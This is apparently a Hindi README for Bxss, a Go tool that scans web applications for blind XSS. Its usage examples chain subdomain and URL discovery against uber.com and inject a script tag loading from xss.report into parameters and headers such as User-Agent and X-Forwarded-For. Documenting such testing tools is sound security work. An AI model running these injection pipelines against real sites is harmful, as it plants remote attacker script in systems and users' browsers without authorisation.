Bxss - ब्लाइंड XSS स्कैनर

🚀 विवरण

Bxss एक उच्च-प्रदर्शन ब्लाइंड XSS स्कैनर है जो वेब अनुप्रयोगों में ब्लाइंड XSS कमजोरियों का स्वचालित पता लगाता है।

✨ विशेषताएँ

• ब्लाइंड XSS पेलोड को कस्टम हेडर और पैरामीटर में इंजेक्ट करता है
• एकाधिक HTTP विधियों (PUT, POST, GET, OPTIONS) का समर्थन करता है
• समवर्ती समर्थन के साथ उच्च-गति स्कैनिंग
• अन्य टूल्स के साथ आसानी से चेन किया जा सकता है
• सरल स्थापना और उपयोग

🧠 प्रगति पर है

हम सक्रिय रूप से क्रोमियम-आधारित वर्कर पूल को एकीकृत करने पर काम कर रहे हैं ताकि bxss के प्रदर्शन को कम-अंत उपकरणों पर बेहतर बनाया जा सके।

यह सुविधा संसाधन-गहन कार्यों, जैसे DOM-आधारित XSS का पता लगाना या ट्रिगर के बाद पेलोड निरीक्षण, को एक पूल के माध्यम से प्रबंधित हल्के क्रोमियम इंस्टेंस पर ऑफलोड करने की अनुमति देगी। कई हेडलेस ब्राउज़र संदर्भों में वर्कलोड को नियंत्रित और कुशल तरीके से वितरित करके, bxss कम-स्पेक मशीनों पर भी प्रतिक्रियाशील और उपयोग करने योग्य रहेगा।

यह bxss को न केवल शक्तिशाली बनाएगा बल्कि सिस्टम की बाधाओं के बावजूद अत्यधिक सुलभ भी बनाएगा।

✅ TODOs

• DOM इंटरेक्शन और दृश्य सत्यापन के लिए क्रोमियम-आधारित वर्कर पूल
• वैकल्पिक HTML/JSON रिपोर्टिंग आउटपुट
• मल्टी-प्लेटफ़ॉर्म पेलोड अनुकूलन (XSS Hunter, Interactsh, आदि) का समर्थन
• प्रॉक्सी समर्थन
• कस्टम अनुरोध आयात करना

🧪 प्रायोगिक विशेषताएँ

• ट्रेस मोड (प्रायोगिक)

📦 स्थापना

go install -v github.com/ethicalhackingplayground/bxss/v2/cmd/bxss@latest

⚙️ आर्गुमेंट्स

🎬 प्रदर्शन

📝 ट्रेस मोड क्या है?

ट्रेस मोड एक प्रायोगिक सुविधा है जो आपको ट्रैक करने की अनुमति देती है कि ब्लाइंड XSS कहाँ ट्रिगर हुआ। कुछ तृतीय-पक्ष ब्लाइंड XSS प्लेटफ़ॉर्म जैसे https://xss.report/ आपको अपने पेलोड में कस्टम पैरामीटर निर्दिष्ट करने की अनुमति देते हैं, जिससे आप ट्रैक कर सकते हैं कि ब्लाइंड XSS कहाँ ट्रिगर हुआ। उदाहरण के लिए, यदि आप अपने पेलोड में url=https://somehost.com पैरामीटर निर्दिष्ट करते हैं, तो टूल पेलोड का उपयोग करेगा

'"><script src=https://xss.report/c/username?url=https://somehost.com></script>'

परीक्षण के लिए और ट्रिगर होने पर आप DOM का निरीक्षण कर सकेंगे और देख सकेंगे कि ब्लाइंड XSS किस होस्ट से ट्रिगर हुआ।

सुनिश्चित करें कि अपने डैशबोर्ड में कस्टम पैरामीटर असाइन करते समय आप url={LINK} असाइन करें ताकि bxss स्वचालित रूप से {LINK} को वास्तविक URL से बदल सके।

🔥 उपयोग उदाहरण

पैरामीटर

subfinder -d uber.com \
| gau \
| grep "&" \
| bxss -p '><script src=https://xss.report/c/username></script>' \
-t

पैरामीटर में जोड़ें

subfinder -d uber.com \
| gau \
| grep "&" \
| bxss -a -p '><script src=https://xss.report/c/username></script>' \
-t

हेडर और पैरामीटर दोनों

subfinder -d uber.com \
| gau \
| grep "&" \
| bxss -p '><script src=https://xss.report/c/username></script>' \
-H "User-Agent" \
-t

X-Forwarded-For हेडर

subfinder -d uber.com \
| gau \
| bxss -p '><script src=https://xss.report/c/username></script>' \
-H "X-Forwarded-For"

कस्टम हेडर और पैरामीटर

echo uber.com \
| haktrails subdomains \
| httpx \
| hakrawler -u \
| bxss -p '><script src=https://xss.report/c/username></script>' \
-H "User-Agent" \
-t

Dorki के साथ Google Dorks

curl -X GET -H "Authorization: Bearer <Token>" \
-H "X-Secret-Key: <Secret>" \
https://dorki.attaxa.com/api/search?q=site:example.com -s \
| jq -r .[][].url \
| grep "&" \
| bxss -a -p '><script src=https://xss.report/c/username></script>'

दर सीमा के साथ कस्टम हेडर और पैरामीटर

echo uber.com \
| haktrails subdomains \
| httpx \
| hakrawler -u \
| bxss -a -p '><script src=https://xss.report/c/username></script>' \
-H "User-Agent" \ 
-t \
-rl 10

उन्नत डॉर्किंग और भेद्यता अन्वेषण के लिए, Dorki देखें और आज ही साइन अप करें!

☕ परियोजना का समर्थन करें

यदि आप इस टूल का उपयोग करके कोई बाउंटी प्राप्त करते हैं, तो मुझे एक कॉफी खरीदकर समर्थन करने पर विचार करें!